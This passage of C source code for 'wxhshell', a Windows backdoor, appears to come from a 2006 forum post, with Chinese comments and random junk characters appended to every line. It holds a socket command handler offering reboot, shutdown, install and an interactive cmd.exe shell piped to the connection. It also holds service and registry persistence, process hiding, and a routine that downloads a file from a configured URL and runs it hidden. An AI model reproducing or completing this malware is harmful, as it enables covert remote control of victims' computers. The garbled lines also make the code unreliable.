  } u*P@Nuy6  
  else { /7Pqy2sgE  
xatq  
    switch(cmd[0]) { d4  \  
  6',Hs  
  // 帮助 zQ{bMj<S  
  case '?': { Wq<oP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F I[BZZW  
    break; QY&c=bWAX"  
  } j,^&U|!  
  // 安装 Gg ~0>XS  
  case 'i': { 1uj~/M  
    if(Install()) 5;" $X 1{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~fb#6  
    else gggD "alDx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2XeyNX  
    break; |e2s\?nB0S  
    } m!w|~ Rk  
  // 卸载 (XmmbAbVom  
  case 'r': { b/ \EN)  
    if(Uninstall()) ;#9?3O s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fv+ET:T%  
    else u%:`r*r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "IzAvKPM  
    break; RIXeV*ix  
    } |6bvUFr  
  // 显示 wxhshell 所在路径 oj Y.6w  
  case 'p': { ~nmFZ] y  
    char svExeFile[MAX_PATH]; X5/fy"g&  
    strcpy(svExeFile,"\n\r"); 6[ 3 K@  
      strcat(svExeFile,ExeFile);  "q M  
        send(wsh,svExeFile,strlen(svExeFile),0); }aE'  
    break; xO>z )3A  
    } %|}*xMQ  
  // 重启 '#3FEo  
  case 'b': { Y=G`~2Pr=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x cAs}y}  
    if(Boot(REBOOT)) `b8nz 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W g7 eY'FE  
    else { &(Fm@ksh\  
    closesocket(wsh); p@f #fs  
    ExitThread(0); }RadbJ{q=  
    } RVwS<g)~1  
    break; :qbU@)p*  
    } $RY-yKmi  
  // 关机 "J+L]IC?AD  
  case 'd': { "0jwCX Cu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q%d%Io\-t  
    if(Boot(SHUTDOWN)) erUK; +2g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3c6e$/  
    else { :23S%B~X  
    closesocket(wsh); TBPu&+3  
    ExitThread(0); I1':&l^O  
    } 7<e}5nA/  
    break; !nkIXgWz  
    } J(d+EjC  
  // 获取shell ^0|:  
  case 's': { d"db`8 ;S  
    CmdShell(wsh); dFw+nGN  
    closesocket(wsh); F}45.C rD  
    ExitThread(0); Bc }o3oc  
    break; [T =>QS@g  
  } NN'pBU R  
  // 退出 |\uj(|  
  case 'x': { $ eI cCLF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 81y<Uz 6  
    CloseIt(wsh); 0{ mm%@o  
    break; F<p`)?  
    } vLN KX;9  
  // 离开 r D <T  
  case 'q': { }YdC[b$j^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &2XH.$Q  
    closesocket(wsh); i4i9EvWp  
    WSACleanup(); U&])ow):  
    exit(1); !;&\n3-W  
    break; PVlC j  
        } o5&b'WUJ=  
  } : pUu_  
  } .tG3g:  
,hI$nF0}p  
  // 提示信息 vFdI?(c-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V':A!  
} 3GE;:;8B  
  } eEVB   
'9WTz(0?  
  return; Yl&[_ l  
} d"?"(Q_8n  
m85ZcyW1T  
// shell模块句柄 X:Wd%CHP  
int CmdShell(SOCKET sock) v.8kGF  
{ n4dNGp7\`  
STARTUPINFO si; H}~K51  
ZeroMemory(&si,sizeof(si)); *Oy* \cX2[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0;><@{'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Za!KM  
PROCESS_INFORMATION ProcessInfo; `mteU"{bx  
char cmdline[]="cmd"; +ho=0 >  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mo N/?VA  
  return 0; W3!-;l  
} <bhGpLh-E  
s(Gs?6}>T  
// 自身启动模式 5[X%17&t  
int StartFromService(void) <t(H+ykh  
{ .^9khK J;  
typedef struct ),`jMd1`  
{ ,yNuz@^ P  
  DWORD ExitStatus; {0F/6GwUC  
  DWORD PebBaseAddress; R7(XDX=[ s  
  DWORD AffinityMask; &PV%=/ -J  
  DWORD BasePriority;  N#9N ^#1  
  ULONG UniqueProcessId; a+lNXlh=  
  ULONG InheritedFromUniqueProcessId; %$zak@3%'  
}   PROCESS_BASIC_INFORMATION; ;5X~"#%U_  
&Wa3/mWK  
PROCNTQSIP NtQueryInformationProcess; +%9Re5R  
b`+yNf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PQl A(v+S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tf5m YCk  
T:kliM"z  
  HANDLE             hProcess; ;6hoG(3 +  
  PROCESS_BASIC_INFORMATION pbi; # A4WFZ  
HRE?uBkjf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dh6kj-^;Cf  
  if(NULL == hInst ) return 0; &AxtSIpucP  
SW}Rkr\e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /_J{JGp9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rWJ5C\R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o?/H<k\5  
08jk~$%  
  if (!NtQueryInformationProcess) return 0; u `xQC /  
g$e|y#Ic$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cx~;oWZ  
  if(!hProcess) return 0; Mn&_R{{=  
\Db`RvEmR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  ]'% iR  
M} X `  
  CloseHandle(hProcess); pJe!~eyHm  
S+.>{0!S"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^`lDw  
if(hProcess==NULL) return 0; | X1axRO  
'L3MHTM>[  
HMODULE hMod; \36 G``e  
char procName[255]; *ilVkV"U  
unsigned long cbNeeded; q)?!]|pZ  
~ :{mKc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H0OO +MCe  
1ED7 .#g  
  CloseHandle(hProcess); IfB .2e`  
Z}0{FwW"4  
if(strstr(procName,"services")) return 1; // 以服务启动 M .6BFC  
qZ>_{b0f  
  return 0; // 注册表启动 -!7Z  
} HTiLA%%6  
T$0)un  
// 主模块 A405igF  
int StartWxhshell(LPSTR lpCmdLine)  #9}1Lo>  
{ z0\ $# r^I  
  SOCKET wsl; *A48shfO  
BOOL val=TRUE; o<lmU8xB=  
  int port=0; qY%|Uo  
  struct sockaddr_in door; |H5GWZ O{^  
TtrO_D  
  if(wscfg.ws_autoins) Install(); c oZK  
,aezMbg  
port=atoi(lpCmdLine); ?QKD YH(  
w6> P[oW  
if(port<=0) port=wscfg.ws_port; 1!)'dL0mI  
4KxuSI^q  
  WSADATA data; yy/'B:g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jjj;v2uSK  
Ppl :_Of  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j|[$P4w}U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3r[F1z2B  
  door.sin_family = AF_INET; V[%IU'{:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -a|b.p  
  door.sin_port = htons(port); ua=7YG  
V!. Y M)B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { onmkg}&_  
closesocket(wsl); E71H=C 4  
return 1; @^ta)Ev  
} $A5O>  
Kp7)my  
  if(listen(wsl,2) == INVALID_SOCKET) { X4\T=Q?uLx  
closesocket(wsl); Or$"f3gq  
return 1; ?1r;6  
} QPp31o.!5  
  Wxhshell(wsl); ~eP~c"L  
  WSACleanup(); hFycSu  
~~&Bp_9QXN  
return 0; $D65&R  
,ko#z}Z4r,  
} X)j%v\#`U  
)O*h79t^Q  
// 以NT服务方式启动 y[Dgyt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  s=:LS  
{ OB=bRLd.IR  
DWORD   status = 0; pheu48/f  
  DWORD   specificError = 0xfffffff; 1Ci^e7|?  
]QY-L O(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6||%T$_;}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C[TjcHoA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c^H#[<6p  
  serviceStatus.dwWin32ExitCode     = 0; f:P;_/cJc  
  serviceStatus.dwServiceSpecificExitCode = 0; lz>.mXdx  
  serviceStatus.dwCheckPoint       = 0; .1^ Kk3  
  serviceStatus.dwWaitHint       = 0; h*<`ct xL  
.#tA .%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !a V:T&6  
  if (hServiceStatusHandle==0) return; N@Ap|`Ei  
T:%0i8p  
status = GetLastError(); D` cy.},L  
  if (status!=NO_ERROR) 5IzCQqOPgX  
{ T,/<'cl"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;^E\zs  
    serviceStatus.dwCheckPoint       = 0; 1xkk5\3]  
    serviceStatus.dwWaitHint       = 0; 9+ve0P7$  
    serviceStatus.dwWin32ExitCode     = status; Sa)L=5Nr  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z{%W!>0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kda*rl~c  
    return; u#u/uS"  
  } IAb.Z+ig  
c"CR_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i,RbIZnJ  
  serviceStatus.dwCheckPoint       = 0; JY:Fu  
  serviceStatus.dwWaitHint       = 0; 1bw$$QXC_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ODpAMt"  
} {='wGx  
n]w%bKc-9  
// 处理NT服务事件,比如:启动、停止 @pJ;L1sn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X}={:T+6s  
{ Xe`$SNM  
switch(fdwControl) ^f(El(w  
{ K4|fmgcy.  
case SERVICE_CONTROL_STOP: ebL0cK?  
  serviceStatus.dwWin32ExitCode = 0; 75P!`9bE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]I/* J^  
  serviceStatus.dwCheckPoint   = 0; *<{hLf  
  serviceStatus.dwWaitHint     = 0; &Nr+- $  
  { 1p/_U?H:|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d"3x11|  
  } $*XTX?,'  
  return; S:g6z'e1  
case SERVICE_CONTROL_PAUSE: 71<4q {n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tmoclK-  
  break; ?a, `{1m0\  
case SERVICE_CONTROL_CONTINUE: ?)Gb=   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %qrUP\rn  
  break; 9w0v?%%_  
case SERVICE_CONTROL_INTERROGATE: p@DVy2,EY  
  break; y^X]q[-?  
}; 8c%N+E]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j{t r''yN  
} w9x5IRWk  
E 6Uj8]P`  
// 标准应用程序主函数 ?u{Mz9:?HT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !qH)ttW  
{ ^{8CShUCv  
X`E}2|q'  
// 获取操作系统版本 {~\:4  
OsIsNt=GetOsVer(); r|bGn#^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #{)mr [c|  
-0CL#RzKR  
  // 从命令行安装 IY}GU 2#  
  if(strpbrk(lpCmdLine,"iI")) Install(); (o\D=!a  
1]8Hpd  
  // 下载执行文件 b'/:e#F  
if(wscfg.ws_downexe) { JAwEu79sh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `i~J0#P  
  WinExec(wscfg.ws_filenam,SW_HIDE); fgo3Gy*#  
} CRzLyiRvU&  
7D8 pb0`;J  
if(!OsIsNt) { VqOTrB1w/  
// 如果时win9x,隐藏进程并且设置为注册表启动 .v=n-k7  
HideProc(); ZWB3R  
StartWxhshell(lpCmdLine); 8_rd1:t5  
} jW| ,5,43  
else c~\^C_  
  if(StartFromService()) n:<Xp[;R  
  // 以服务方式启动 ay{]Vqi9  
  StartServiceCtrlDispatcher(DispatchTable); *`bES V :  
else 6l"4F6  
  // 普通方式启动 @'J~(#}  
  StartWxhshell(lpCmdLine); tg%Sn+:  
O15~\8#'  
return 0; &MONg=s3  
}
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只看该作者 1 发表于: 2006-10-10
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